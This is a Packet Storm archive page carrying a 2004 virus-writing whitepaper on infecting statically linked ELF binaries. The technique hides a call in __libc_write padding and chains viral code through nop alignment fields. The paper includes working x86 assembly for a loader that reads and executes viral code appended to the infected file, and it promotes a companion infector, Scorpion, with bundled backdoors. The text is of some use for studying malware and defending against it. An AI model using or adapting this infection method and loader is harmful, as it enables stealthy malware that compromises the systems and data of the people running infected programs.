<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-type" content="text/html;charset=utf-8" />
<title>0x4553-Static_Infecting.html &#8776; Packet Storm</title>
<meta name="description" content="Information Security Services, News, Files, Tools, Exploits, Advisories and Whitepapers" />
<meta name="keywords" content="security,exploit,advisory,whitepaper,xss,csrf,overflow,scanner,vulnerability" />
<link rel="shortcut icon" href="/img/pss.ico" />
<link rel="stylesheet" media="screen,print,handheld" href="https://packetstatic.com/css1589669798/pss.css" type="text/css" />
<!--[if lt ie 8]><link rel="stylesheet" type="text/css" href="https://packetstatic.com/css1589669798/ie.css" /><![endif]-->
<script type="text/javascript" src="https://packetstatic.com/js1589669798/pt.js"></script>
<script type="text/javascript" src="https://packetstatic.com/js1589669798/pss.js"></script>
<link rel="search" type="application/opensearchdescription+xml" href="https://packetstormsecurity.com/opensearch.xml" title="Packet Storm Site Search" />
<link rel="alternate" type="application/rss+xml" title="Packet Storm Headlines" href="https://rss.packetstormsecurity.com/news/" />
<link rel="alternate" type="application/rss+xml" title="Packet Storm Recent Files" href="https://rss.packetstormsecurity.com/files/" />
<link rel="alternate" type="application/rss+xml" title="Packet Storm Exploits" href="https://rss.packetstormsecurity.com/files/tags/exploit/" />
<link rel="alternate" type="application/rss+xml" title="Packet Storm Advisories" href="https://rss.packetstormsecurity.com/files/tags/advisory/" />
</head>
<body id="files">
<div id="t">
   <div id="tc">
      <a id="top" href="/"><img src="https://packetstatic.com/img1514015884/ps_logo.png" width="315" height="65" id="logo" alt="packet storm" /></a>
      <div id="slogan">exploit the possibilities
</div>
      <div id="account"><a href="https://packetstormsecurity.com/account/register/">Register</a> | <a href="https://packetstormsecurity.com/account/login/">Login</a></div>
      <div id="search">
        <form method="get" action="/search/"><input type="text" name="q" id="q" maxlength="120" value="Search &#8230;" /><button type="submit"></button><div id="q-tabs"><label for="s-files" class="on">Files</label><label for="s-news">News</label><label for="s-users">Users</label><label for="s-authors">Authors</label><input type="radio" value="files" name="s" id="s-files" /><input type="radio" value="news" name="s" id="s-news" /><input type="radio" value="users" name="s" id="s-users" /><input type="radio" value="authors" name="s" id="s-authors" /></div></form>
      </div>
   </div>
    <div id="tn"><div id="tnc">
        <a href="/" id="tn-home"><span>Home</span></a> <a href="/files/" id="tn-files"><span>Files</span></a> <a href="/news/" id="tn-news"><span>News</span></a> <a href="/about/" id="tn-about"><span>About</span></a> <a href="/contact/" id="tn-contact"><span>Contact</span></a> <a href="/submit/" id="tn-submit"><span>Add New</span></a>
    </div></div>
    <div id="tn2"></div>
</div>

<div id="c">

 <div id="cc">
     <div id="m">
    

    
    
    
     
    <div class="h1"><h1>0x4553-Static_Infecting.html</h1></div>
<dl id="F34013" class="file first">
<dt><a class="ico text-html" href="/files/download/34013/0x4553-Static_Infecting.html" title="Size: 11.2 KB"><strong>0x4553-Static_Infecting.html</strong></a></dt>
<dd class="datetime">Posted <a href="/files/date/2004-08-11/" title="01:17:26 UTC">Aug 11, 2004</a></dd>
<dd class="refer">Authored by <a href="/files/author/1986/" class="group">electronicsouls</a>, <a href="/files/author/2627/" class="person">Ares</a> | Site <a href="http://es.xor.ru/">es.xor.ru</a></dd>
<dd class="detail"><p>White paper discussing a method of infecting statically linked ELF binaries.</p></dd>
<dd class="md5"><span>MD5</span> | <code>f26de202612f145e8312ac13bcee90e9</code></dd>
<dd class="act-links"><a href="/files/download/34013/0x4553-Static_Infecting.html" title="Size: 11.2 KB" rel="nofollow">Download</a>  | <a href="/files/favorite/34013/" class="fav" rel="nofollow">Favorite</a> | <a href="/files/34013/0x4553-Static_Infecting.html.html">View</span></a></dd>
</dl>
<div id="extra-links"><a href="/files/related/34013/0x4553-Static_Infecting.html.html" id="related">Related Files</a><div id="share">
<h2>Share This</h2>
<ul>
<li><iframe scrolling="no" frameborder="0" allowtransparency="true" style="border: medium none; overflow: hidden; width: 90px; height: 28px;" src="https://www.facebook.com/plugins/like.php?href=https://packetstormsecurity.com/files/34013/0x4553-Static_Infecting.html.html&amp;layout=button_count&amp;show_faces=true&amp;width=250&amp;action=like&amp;font&amp;colorscheme=light&amp;height=21"></iframe></li><li><iframe scrolling="no" frameborder="0" tabindex="0" allowtransparency="true" src="https://platform.twitter.com/widgets/tweet_button.html?_=1286138321418&amp;count=horizontal&amp;lang=en&amp;text=0x4553-Static_Infecting.html&amp;url=https://packetstormsecurity.com/files/34013/0x4553-Static_Infecting.html.html&amp;via=packet_storm" style="width: 110px; height: 21px; margin-top:5px;" title="Twitter"></iframe></li><li><a href="https://www.linkedin.com/shareArticle?mini=true&amp;url=https://packetstormsecurity.com/files/34013/0x4553-Static_Infecting.html.html&amp;title=0x4553-Static_Infecting.html&amp;source=Packet+Storm" class="LinkedIn">LinkedIn</a></li><li><a href="https://www.reddit.com/submit?url=https://packetstormsecurity.com/files/34013/0x4553-Static_Infecting.html.html&amp;title=0x4553-Static_Infecting.html" class="Reddit">Reddit</a></li><li><a href="" class="Digg">Digg</a></li><li><a href="http://www.stumbleupon.com/submit?url=https://packetstormsecurity.com/files/34013/0x4553-Static_Infecting.html.html&amp;title=0x4553-Static_Infecting.html" class="StumbleUpon">StumbleUpon</a></li></ul>
</div>
</div>
<div class="h1"><h1>0x4553-Static_Infecting.html</h1></div>
<div class="src">
<div><a href="/mirrors/">Change Mirror</a> <a href="/files/download/34013/0x4553-Static_Infecting.html">Download</a></div>
<pre><code>&lt;html&gt;<br />&lt;head&gt;<br />&lt;title&gt;Static linked ELF infecting&lt;/title&gt;<br />&lt;/head&gt;<br />&lt;body&gt;<br />&lt;pre&gt;<br />&lt;b&gt;<br />                         ____&#124; &#124;           &#124;                  _)       ___&#124;              &#124;     <br />                         __&#124;   &#124;  _ \  __&#124; __&#124;  __&#124; _ \  __ \  &#124;  __&#124;\___ \   _ \  &#124;   &#124; &#124;  __&#124;<br />                         &#124;     &#124;  __/ (    &#124;   &#124;   (   &#124; &#124;   &#124; &#124; (         &#124; (   &#124; &#124;   &#124; &#124;\__ \<br />                        _____&#124;_&#124;\___&#124;\___&#124;\__&#124;_&#124;  \___/ _&#124;  _&#124;_&#124;\___&#124;_____/ \___/ \__,_&#124;_&#124;____/<br /><br /><br />        +-------------------------------------------------------------+<br />                          &#124;::::::::::&#124; Static linked ELF infecting           &#124;::::::::::&#124;<br />                          &#124;-------------------------------------------------------------&#124;<br />                          &#124;::::::::::&#124; Author :  Ares                       &#124;::::::::::&#124;<br />                          &#124;-------------------------------------------------------------&#124;<br />                          &#124;::::::::::&#124; Date : March 2004                     &#124;::::::::::&#124;<br />                          +-------------------------------------------------------------+<br /><br />&lt;br&gt;<br />--&#91; Contents<br /><br />  1 - Introduction<br />  2 - Theory<br />  3 - Details<br />  4 - Cooking the &#42;loader&#42;<br />  5 - Conclusion<br />&lt;/b&gt;<br /><br />&lt;h3&gt;--&#91; 1 - Introduction&lt;/h3&gt;<br />Creative or stealthy viral infection techniques are practically <br />exhausted. As we&#39;ve seen over the last few years, new techniques have<br />been formulated from old ones, reworked to fit with modern ABIs. Original<br />ideas were developed by Windows, but what examples do we have of UNIX<br />viruses? Hijacking ELF PLT and GOT, padding, and shared object or loadable<br />kernel module hijacking are a few examples of current technology. Well<br />written codes in this field were published by several groups\persons, such as<br />29a Labs\z0mbie\sd\silvio.<br /><br />  In this article, I am describing my idea for infecting statically<br />linked ELF binaries. After reading, you can find a complete infector,<br />Scorpion, for this technique. Bundled, you will find several example<br />back-doors. <br /><br />First, a few advantages and drawbacks:<br /><br />  Advantages begin with symbols. No symbols are needed in this<br />technique, and even stripped files are easily infected. Next, application<br />entry point doesn&#39;t change once a binary has been altered. Stealth <br />infection can be achieved by manipulating the large alignment (nop) fields<br />found in GNU binaries. Finally, in some cases, there is no increase of<br />binary size after successful binary infection.<br /><br />  Drawbacks begin with limitations. The techniques depicted in<br />this article are limited to the particular construction of static <br />binaries. Also, there is a restriction in the space available for <br />injected virus code, which depends mostly on the glibc version. Since<br />static linking isn&#39;t widespread in the wild, we can say it is useful<br />in specialized situations, where source code is available and we are<br />able to control the process of compilation. In that case, it is <br />feasible to increase the available space by some special option in<br />gcc. <br /><br /><br />&lt;h3&gt;--&#91; 2 - Theory&lt;/h3&gt;<br />  Time to go a little deeper into the subject.. let&#39;s make<br />some fucking noise!&#64;#&#36; Since we aren&#39;t going to alter the entry<br />point of the binary, we must find another way to get our code<br />executed. Obviously, the virus code must reside somewhere in <br />the text segment, itself; in some function.<br /><br />  This function must satisfy a few requirements. First, it<br />must be a libc function in order to be certain it is linked<br />to even the most minimal program. Second, it must have a valid<br />signature that is easily detectable, such as a syscall. Finally,<br />the function must have at least seven padding bytes, no operation<br />opcodes, that may be reliably overwritten.<br /><br />An example of this is __libc_write:<br /><br />0804c1b0 &lt;__libc_write&gt;:<br />804c1b0:       53                      push   %ebx<br />804c1b1:       8b 54 24 10             mov    0x10(%esp,1),%edx<br />804c1b5:       8b 4c 24 0c             mov    0xc(%esp,1),%ecx<br />804c1b9:       8b 5c 24 08             mov    0x8(%esp,1),%ebx<br />804c1bd:       b8 04 00 00 00          mov    &#36;0x4,%eax<br />804c1c2:       cd 80                   int    &#36;0x80<br />804c1c4:       5b                      pop    %ebx<br />804c1c5:       3d 01 f0 ff ff          cmp    &#36;0xfffff001,%eax<br />804c1ca:       0f 83 90 58 00 00       jae    8051a60 &lt;__syscall_error&gt;<br />804c1d0:       c3                      ret<br />804c1d1:       eb 0d                   jmp    804c1e0 &lt;__libc_fcntl&gt;<br />804c1d3:       90                      nop<br />804c1d4:       90                      nop<br />804c1d5:       90                      nop<br />804c1d6:       90                      nop<br />804c1d7:       90                      nop<br />804c1d8:       90                      nop<br />804c1d9:       90                      nop<br />804c1da:       90                      nop<br />804c1db:       90                      nop<br />804c1dc:       90                      nop<br />804c1dd:       90                      nop<br />804c1de:       90                      nop<br />804c1df:       90                      nop<br /><br />  This example, though old, depicts a signature that should<br />be the same for any glibc. The signature consists of the <br />setting up, and calling, of a Linux system call. <br /><br />804c1b0:       53                      push   %ebx<br />804c1b1:       8b 54 24 10             mov    0x10(%esp,1),%edx<br />804c1b5:       8b 4c 24 0c             mov    0xc(%esp,1),%ecx<br />804c1b9:       8b 5c 24 08             mov    0x8(%esp,1),%ebx<br />804c1bd:       b8 04 00 00 00          mov    &#36;0x4,%eax<br />804c1c2:       cd 80                   int    &#36;0x80<br /><br />  Once we&#39;ve found the function in a binary, our next move<br />is to relocate __libc_write to seven bytes further down the<br />opcode stream. This allows us to overwrite GNU&#39;s padding with <br />the function, itself. It also gives us seven bytes prefixed <br />to __libc_write, where we will position a call to our viral<br />code.<br /><br />  movl &#36;address, %eax    ; 5 bytes<br />  call &#42;eax      ; 2 bytes<br /><br />  With a call in place, the next step is to locate some <br />space to put the body of our viral code. My first idea was to<br />overwrite a rarely used function such as asnprintf, which <br />is linked to our executable but most likely will not be used.<br />Although, it is rather hard to determine signatures for these<br />functions that will persist across glibc versions. So, the<br />most optimal locale for viral code will be in the alignment<br />fields between functions, where GNU inserts no-operation <br />opcodes. We&#39;ll call these alignment fields &#39;nop fields&#39;.<br /><br />  The next goal will be to tag, or track, each nop field,<br />in order to calculate our cumulative viral space. Each field<br />needs to be greater than, or equal to, thirteen octets in<br />length. This is necessary because we will need to split the<br />virus into small segments. Thus, it is necessary that each<br />field be connected via jump instructions. Therefore, one <br />nop field of length greater than, or equal to, thirteen <br />octets allows us to maintain eight payload octets with a five<br />octet jump instruction toward the next infected nop field.<br /><br />  Now that our method for infection has been laid out<br />in general terms, let&#39;s break down the details for a closer<br />look. <br /><br /><br />&lt;h3&gt;--&#91; 3 - Details&lt;/h3&gt;<br />  The first problem faced is the lacking amount of nop <br />fields available in very small programs. An obvious example<br />is the typical &#39;hello world&#39;. <br /><br />  int<br />  main()<br />  &#123;<br />    printf(&quot;hello world\n&quot;);<br />    return 0;<br />  &#125;<br /><br />Once compiled, there were only two hundred and thirty four<br />octets available, which equates to eight-teen nop fields. <br />A quick calculation determines the actual amount of payload<br />this gives us.<br /><br />  TotalBytes - (TotalNopFields &#42; SizeofJump) &#61; TotalPayload<br /><br />  234 - (18 &#42; 5) &#61; 144;<br /><br />Obviously, one hundred and forty four total payload octets is<br />a minimal amount, and leaves much to be desired.<br /><br />  Another problem occurs when we consider an application that<br />performs large amounts of writes. Each write call will execute<br />the viral payload, substantially slowing the application as a<br />whole. Therefore, we must somehow limit the execution of our<br />payload.<br /><br />  Lastly, every program, and our virus is no exception, should<br />manage different events. In assembly, an example would look like<br />the following:<br /><br />  cmpb &#36;value, %reg  ; comparison for fault detection<br />  jz &#36;offset    ; conditional jmp on fault<br /><br />Imagine how this program flow would be affected if the code were<br />to be split due to a nop field boundary. We would end up with <br />the following:<br /><br />  Nop Field #1<br />    &#91; code ...     &#93;<br />    &#91; code ...     &#93;<br />    &#91; cmpb &#36;value, %reg   &#93; The original cmpb<br />    &#91; jmp &#36;nop_field_2  &#93; conditional jmp has been deferred<br /><br />  Nop Field #2<br />    &#91; jz &#36;offset    &#93; Jz branches to invalid offset<br />    &#91; code ...    &#93;<br />    &#91; code ...    &#93;<br />    &#91; jmp &#36;nop_field_3  &#93;<br /><br />The conditional jumps can be fixed appropriately, but the work to do<br />it may be un-deserving of our time for our purposes.<br /><br />  It would take too much work to solve these problems in each<br />payload. This is why I suggest a special loader is used. This loader<br />will have already solved these problems and will simply execute <br />complete viral code from the end of a file.<br /><br /><br />&lt;h3&gt;--&#91; 4 - Cooking the Loader&lt;/h3&gt;<br />  The Loader will work based on the following process:<br /><br />  1) Back up registers and stack<br />  2) Allocate memory<br />  3) Check if the payload has already been executed<br />  4) Load virus code from end of file<br />  5) Execute code<br />  6) Reset registers and stack<br />  7) Return to infected function<br />  8) Continue execution<br /><br />/&#42;&#42;&#42; start of loader &#42;&#42;&#42;/<br /><br />push %edi           # these registers&#39; data might persist across function boundaries<br />push %esi           # therefore, they must be backed up explicitly<br /><br /># enter<br />#<br />push %ebp       <br />movl %esp,%ebp<br /><br /># mmap()<br />#<br />push &#36;0             # I&#39;ve chosen exact addr 0x50000000 to check for executions.<br />push &#36;-1            # first time we call mmap we get that addr, each new attempt <br />push &#36;0x21          # will return another value<br />push &#36;3<br />push &#36;1<br />push &#36;0x50000000<br />push %esp<br />pop  %ebx<br />push &#36;90<br />pop  %eax<br />int  &#36;128<br /><br />cmpl &#36;0x50000000,%eax     # checking<br /><br />nop               # kinda alignment, to avoid problems with jmp, <br />nop        # while splitting code into parts<br /><br />je next             # if passed...<br />                  # if not, return stack\regs and continue function<br /><br />leave<br />pop  %esi<br />pop  %edi<br />ret<br /><br />next:<br />xchg %eax,%esi          # readlink(&quot;/proc/self/exe&quot;)<br /><br />push &#36;0x6578<br />push &#36;0x652f666c<br />push &#36;0x65732f63<br />push &#36;0x6f72702f<br />movl %esp,%ebx<br /><br />push &#36;85<br />pop  %eax<br />push %esi<br />pop  %ecx<br />movb &#36;100,%dl<br />int  &#36;128<br /><br />xchg %ecx,%ebx<br /><br />push &#36;5             # open()<br />pop  %eax<br />xor  %ecx,%ecx<br />int  &#36;128<br />xchg %eax,%edi<br /><br />push &#36;106           # stat()<br />pop  %eax<br />push %esi<br />pop  %ecx<br />int  &#36;128<br /><br />add  &#36;20, %esi<br />movl (%esi),%ecx<br />sub  &#36;0x26,%ecx         # sizeof virus, automatically changing in Scorpion<br /><br />push &#36;19            # lseek()<br />pop  %eax<br />push %edi<br />pop  %ebx<br />xor  %edx,%edx<br />int  &#36;128<br /><br />push &#36;3              # read() virus to memory<br />pop  %eax<br />push %esi<br />pop  %ecx<br />movb &#36;0x26,%dl<br />int  &#36;128<br /><br />call &#42;%esi          # execute code<br /><br />leave<br />pop  %esi<br />pop  %edi<br />ret<br /><br />/&#42;&#42;&#42; end of loader &#42;&#42;&#42;/<br /><br />Because it isn&#39;t user-land exec, we aren&#39;t able to insert viral<br />code written in C, only pure assembly. The virus should end with<br />leave and ret instructions for a proper return to the infected<br />subroutine.<br /><br /><br />&lt;h3&gt;--&#91; 5 - Conclusion&lt;/h3&gt;<br /> Im not about to describe each details, so that&#39;s all. <br />You&#39;ll find 0x4553_Scorpion in section of codes.<br />Thanks to north_ for fixing my english and nice conversations.<br /><br />Hold on, bye...</code></pre>
</div>
 <div id="comment-form" style="display:none"></div><div id="comment-login"><a href="https://packetstormsecurity.com/account/login/">Login</a> or <a href="https://packetstormsecurity.com/account/register/">Register</a> to add favorites</div>
    
    
     </div>
    
      <div id="adblock">
        
      </div>
      <div id="mn">
        <div class="mn-like-us">
<ul>
<li><a href="https://twitter.com/packet_storm"><img src="https://packetstatic.com/img1514015884/s_twitter.png" width="24" height="24" alt="Follow on Twitter" /> Follow us on Twitter</a></li>
<li><a href="https://www.facebook.com/packetstormfeed"><img src="https://packetstatic.com/img1514015884/s_facebook.png" width="24" height="24" alt="Follow on Facebook" /> Follow us on Facebook</a></li>
<li><a href="/feeds"><img src="https://packetstatic.com/img1514015884/s_rss.png" width="24" height="24" alt="View RSS Feeds" /> Subscribe to an RSS Feed</a></li>
</ul>
</div>

<div>
<form id="cal" action="/files/cal/" method="get">
<h2>File Archive:</h2><h3>April 2022</h3>
<button id="cal-prev" name="cal-prev" type="button" value="2022-4"><span>&lt;</span></button><ul class="dotw"><li>Su</li><li>Mo</li><li>Tu</li><li>We</li><li>Th</li><li>Fr</li><li>Sa</li></ul>
<ul><li></li><li></li><li></li><li></li><li></li><li class="low"><a href="/files/date/2022-04-01/">1</a><div class="stats"><div class="point"></div><div class="date">Apr 1st</div><div class="count">9 Files</div></div></li><li class="none"><a href="/files/date/2022-04-02/">2</a><div class="stats"><div class="point"></div><div class="date">Apr 2nd</div><div class="count">0 Files</div></div></li></ul>
<ul><li class="none"><a href="/files/date/2022-04-03/">3</a><div class="stats"><div class="point"></div><div class="date">Apr 3rd</div><div class="count">0 Files</div></div></li><li class="low"><a href="/files/date/2022-04-04/">4</a><div class="stats"><div class="point"></div><div class="date">Apr 4th</div><div class="count">13 Files</div></div></li><li class="low"><a href="/files/date/2022-04-05/">5</a><div class="stats"><div class="point"></div><div class="date">Apr 5th</div><div class="count">9 Files</div></div></li><li class="low"><a href="/files/date/2022-04-06/">6</a><div class="stats"><div class="point"></div><div class="date">Apr 6th</div><div class="count">10 Files</div></div></li><li class="med"><a href="/files/date/2022-04-07/">7</a><div class="stats"><div class="point"></div><div class="date">Apr 7th</div><div class="count">34 Files</div></div></li><li class="med"><a href="/files/date/2022-04-08/">8</a><div class="stats"><div class="point"></div><div class="date">Apr 8th</div><div class="count">24 Files</div></div></li><li class="none"><a href="/files/date/2022-04-09/">9</a><div class="stats"><div class="point"></div><div class="date">Apr 9th</div><div class="count">0 Files</div></div></li></ul>
<ul><li class="none"><a href="/files/date/2022-04-10/">10</a><div class="stats"><div class="point"></div><div class="date">Apr 10th</div><div class="count">0 Files</div></div></li><li class="med"><a href="/files/date/2022-04-11/">11</a><div class="stats"><div class="point"></div><div class="date">Apr 11th</div><div class="count">30 Files</div></div></li><li class="low"><a href="/files/date/2022-04-12/">12</a><div class="stats"><div class="point"></div><div class="date">Apr 12th</div><div class="count">10 Files</div></div></li><li class="med"><a href="/files/date/2022-04-13/">13</a><div class="stats"><div class="point"></div><div class="date">Apr 13th</div><div class="count">19 Files</div></div></li><li class="low"><a href="/files/date/2022-04-14/">14</a><div class="stats"><div class="point"></div><div class="date">Apr 14th</div><div class="count">7 Files</div></div></li><li class="med"><a href="/files/date/2022-04-15/">15</a><div class="stats"><div class="point"></div><div class="date">Apr 15th</div><div class="count">17 Files</div></div></li><li class="none"><a href="/files/date/2022-04-16/">16</a><div class="stats"><div class="point"></div><div class="date">Apr 16th</div><div class="count">0 Files</div></div></li></ul>
<ul><li class="none"><a href="/files/date/2022-04-17/">17</a><div class="stats"><div class="point"></div><div class="date">Apr 17th</div><div class="count">0 Files</div></div></li><li class="low"><a href="/files/date/2022-04-18/">18</a><div class="stats"><div class="point"></div><div class="date">Apr 18th</div><div class="count">2 Files</div></div></li><li class="none today"><a href="/files/date/2022-04-19/">19</a><div class="stats"><div class="point"></div><div class="date">Apr 19th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2022-04-20/">20</a><div class="stats"><div class="point"></div><div class="date">Apr 20th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2022-04-21/">21</a><div class="stats"><div class="point"></div><div class="date">Apr 21st</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2022-04-22/">22</a><div class="stats"><div class="point"></div><div class="date">Apr 22nd</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2022-04-23/">23</a><div class="stats"><div class="point"></div><div class="date">Apr 23rd</div><div class="count">0 Files</div></div></li></ul>
<ul><li class="none"><a href="/files/date/2022-04-24/">24</a><div class="stats"><div class="point"></div><div class="date">Apr 24th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2022-04-25/">25</a><div class="stats"><div class="point"></div><div class="date">Apr 25th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2022-04-26/">26</a><div class="stats"><div class="point"></div><div class="date">Apr 26th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2022-04-27/">27</a><div class="stats"><div class="point"></div><div class="date">Apr 27th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2022-04-28/">28</a><div class="stats"><div class="point"></div><div class="date">Apr 28th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2022-04-29/">29</a><div class="stats"><div class="point"></div><div class="date">Apr 29th</div><div class="count">0 Files</div></div></li><li class="none"><a href="/files/date/2022-04-30/">30</a><div class="stats"><div class="point"></div><div class="date">Apr 30th</div><div class="count">0 Files</div></div></li></ul>
</form></div>
<div id="mn-top-author" class="top-ten">
<h2>Top Authors In Last 30 Days</h2>
<ul>
<li><a href="/files/authors/4676">Red Hat</a> <span>119 files</span></li>
<li><a href="/files/authors/3695">Ubuntu</a> <span>51 files</span></li>
<li><a href="/files/authors/15382">malvuln</a> <span>32 files</span></li>
<li><a href="/files/authors/16216">Hejap Zairy</a> <span>32 files</span></li>
<li><a href="/files/authors/16258">D4rkP0w4r</a> <span>12 files</span></li>
<li><a href="/files/authors/16144">Saud Alenazi</a> <span>12 files</span></li>
<li><a href="/files/authors/16236">Hassan Khan Yusufzai</a> <span>8 files</span></li>
<li><a href="/files/authors/16050">Mr Empy</a> <span>7 files</span></li>
<li><a href="/files/authors/9833">Taurus Omar</a> <span>7 files</span></li>
<li><a href="/files/authors/5960">LiquidWorm</a> <span>6 files</span></li>
</ul>
</div>
<div id="mn-tag-file"><h2>File Tags</h2><ul><li><a href="/files/tags/activex/">ActiveX</a> <span>(932)</span></li><li><a href="/files/tags/advisory/">Advisory</a> <span>(77,146)</span></li><li><a href="/files/tags/arbitrary/">Arbitrary</a> <span>(15,041)</span></li><li><a href="/files/tags/bbs/">BBS</a> <span>(2,859)</span></li><li><a href="/files/tags/bypass/">Bypass</a> <span>(1,547)</span></li><li><a href="/files/tags/cgi/">CGI</a> <span>(1,010)</span></li><li><a href="/files/tags/code_execution/">Code Execution</a> <span>(6,616)</span></li><li><a href="/files/tags/conference/">Conference</a> <span>(668)</span></li><li><a href="/files/tags/cracker/">Cracker</a> <span>(797)</span></li><li><a href="/files/tags/csrf/">CSRF</a> <span>(3,266)</span></li><li><a href="/files/tags/denial_of_service/">DoS</a> <span>(21,711)</span></li><li><a href="/files/tags/encryption/">Encryption</a> <span>(2,326)</span></li><li><a href="/files/tags/exploit/">Exploit</a> <span>(49,583)</span></li><li><a href="/files/tags/file_inclusion/">File Inclusion</a> <span>(4,142)</span></li><li><a href="/files/tags/file_upload/">File Upload</a> <span>(937)</span></li><li><a href="/files/tags/firewall/">Firewall</a> <span>(821)</span></li><li><a href="/files/tags/info_disclosure/">Info Disclosure</a> <span>(2,543)</span></li><li><a href="/files/tags/intrusion_detection/">Intrusion Detection</a> <span>(847)</span></li><li><a href="/files/tags/java/">Java</a> <span>(2,766)</span></li><li><a href="/files/tags/javascript/">JavaScript</a> <span>(791)</span></li><li><a href="/files/tags/kernel/">Kernel</a> <span>(5,982)</span></li><li><a href="/files/tags/local/">Local</a> <span>(13,966)</span></li><li><a href="/files/tags/magazine/">Magazine</a> <span>(586)</span></li><li><a href="/files/tags/overflow/">Overflow</a> <span>(12,118)</span></li><li><a href="/files/tags/perl/">Perl</a> <span>(1,410)</span></li><li><a href="/files/tags/php/">PHP</a> <span>(5,037)</span></li><li><a href="/files/tags/proof_of_concept/">Proof of Concept</a> <span>(2,276)</span></li><li><a href="/files/tags/protocol/">Protocol</a> <span>(3,279)</span></li><li><a href="/files/tags/python/">Python</a> <span>(1,384)</span></li><li><a href="/files/tags/remote/">Remote</a> <span>(29,562)</span></li><li><a href="/files/tags/root/">Root</a> <span>(3,440)</span></li><li><a href="/files/tags/ruby/">Ruby</a> <span>(574)</span></li><li><a href="/files/tags/scanner/">Scanner</a> <span>(1,629)</span></li><li><a href="/files/tags/tool/">Security Tool</a> <span>(7,661)</span></li><li><a href="/files/tags/shell/">Shell</a> <span>(3,049)</span></li><li><a href="/files/tags/shellcode/">Shellcode</a> <span>(1,200)</span></li><li><a href="/files/tags/sniffer/">Sniffer</a> <span>(879)</span></li><li><a href="/files/tags/spoof/">Spoof</a> <span>(2,076)</span></li><li><a href="/files/tags/sql_injection/">SQL Injection</a> <span>(15,966)</span></li><li><a href="/files/tags/tcp/">TCP</a> <span>(2,349)</span></li><li><a href="/files/tags/trojan/">Trojan</a> <span>(668)</span></li><li><a href="/files/tags/udp/">UDP</a> <span>(866)</span></li><li><a href="/files/tags/virus/">Virus</a> <span>(657)</span></li><li><a href="/files/tags/vulnerability/">Vulnerability</a> <span>(30,346)</span></li><li><a href="/files/tags/web/">Web</a> <span>(8,954)</span></li><li><a href="/files/tags/paper/">Whitepaper</a> <span>(3,708)</span></li><li><a href="/files/tags/x86/">x86</a> <span>(942)</span></li><li><a href="/files/tags/xss/">XSS</a> <span>(17,280)</span></li><li><a href="/files/tags/">Other</a></li></ul></div><div id="mn-arch-file"><h2>File Archives</h2><ul><li><a href="/files/date/2022-04/">April 2022</a></li><li><a href="/files/date/2022-03/">March 2022</a></li><li><a href="/files/date/2022-02/">February 2022</a></li><li><a href="/files/date/2022-01/">January 2022</a></li><li><a href="/files/date/2021-12/">December 2021</a></li><li><a href="/files/date/2021-11/">November 2021</a></li><li><a href="/files/date/2021-10/">October 2021</a></li><li><a href="/files/date/2021-09/">September 2021</a></li><li><a href="/files/date/2021-08/">August 2021</a></li><li><a href="/files/date/2021-07/">July 2021</a></li><li><a href="/files/date/2021-06/">June 2021</a></li><li><a href="/files/date/2021-05/">May 2021</a></li><li><a href="/files/date/">Older</a></li></ul></div><div id="mn-os-file"><h2>Systems</h2><ul><li><a href="/files/os/aix/">AIX</a> <span>(424)</span></li><li><a href="/files/os/apple/">Apple</a> <span>(1,875)</span></li><li><a href="/files/os/bsd/">BSD</a> <span>(368)</span></li><li><a href="/files/os/centos/">CentOS</a> <span>(55)</span></li><li><a href="/files/os/cisco/">Cisco</a> <span>(1,911)</span></li><li><a href="/files/os/debian/">Debian</a> <span>(5,947)</span></li><li><a href="/files/os/fedora/">Fedora</a> <span>(1,690)</span></li><li><a href="/files/os/freebsd/">FreeBSD</a> <span>(1,241)</span></li><li><a href="/files/os/gentoo/">Gentoo</a> <span>(4,152)</span></li><li><a href="/files/os/hpux/">HPUX</a> <span>(876)</span></li><li><a href="/files/os/ios/">iOS</a> <span>(316)</span></li><li><a href="/files/os/iphone/">iPhone</a> <span>(108)</span></li><li><a href="/files/os/irix/">IRIX</a> <span>(220)</span></li><li><a href="/files/os/juniper/">Juniper</a> <span>(67)</span></li><li><a href="/files/os/linux/">Linux</a> <span>(41,837)</span></li><li><a href="/files/os/osx/">Mac OS X</a> <span>(683)</span></li><li><a href="/files/os/mandriva/">Mandriva</a> <span>(3,105)</span></li><li><a href="/files/os/netbsd/">NetBSD</a> <span>(255)</span></li><li><a href="/files/os/openbsd/">OpenBSD</a> <span>(478)</span></li><li><a href="/files/os/redhat/">RedHat</a> <span>(11,301)</span></li><li><a href="/files/os/slackware/">Slackware</a> <span>(941)</span></li><li><a href="/files/os/solaris/">Solaris</a> <span>(1,605)</span></li><li><a href="/files/os/suse/">SUSE</a> <span>(1,444)</span></li><li><a href="/files/os/ubuntu/">Ubuntu</a> <span>(7,724)</span></li><li><a href="/files/os/unix/">UNIX</a> <span>(9,043)</span></li><li><a href="/files/os/unixware/">UnixWare</a> <span>(183)</span></li><li><a href="/files/os/windows/">Windows</a> <span>(6,344)</span></li><li><a href="/files/os/">Other</a></li></ul></div>
      </div>

  </div>

</div>

<div id="f">
  <div id="fc">

    <div class="f-box" style="margin: 50px 0 0 0;">
        <a href="/"><img src="https://packetstatic.com/img1514015884/ps_logo.png" width="218" alt="packet storm" /></a>
    <p class="copy">&copy; 2022 Packet Storm. All rights reserved.</p>
    </div>

    <div class="f-box">
    <dl>
      <dt>Site Links</dt>
      <dd><a href="/news/date/">News by Month</a></dd>
      <dd><a href="/news/tags/">News Tags</a></dd>
      <dd><a href="/files/date/">Files by Month</a></dd>
      <dd><a href="/files/tags/">File Tags</a></dd>
      <dd><a href="/files/directory/">File Directory</a></dd>
    </dl>    
    </div>

    <div class="f-box">
    <dl>
      <dt>About Us</dt>
      <dd><a href="/about/">History &amp; Purpose</a></dd>
      <dd><a href="/contact/">Contact Information</a></dd>
      <dd><a href="/legal/tos.html">Terms of Service</a></dd>
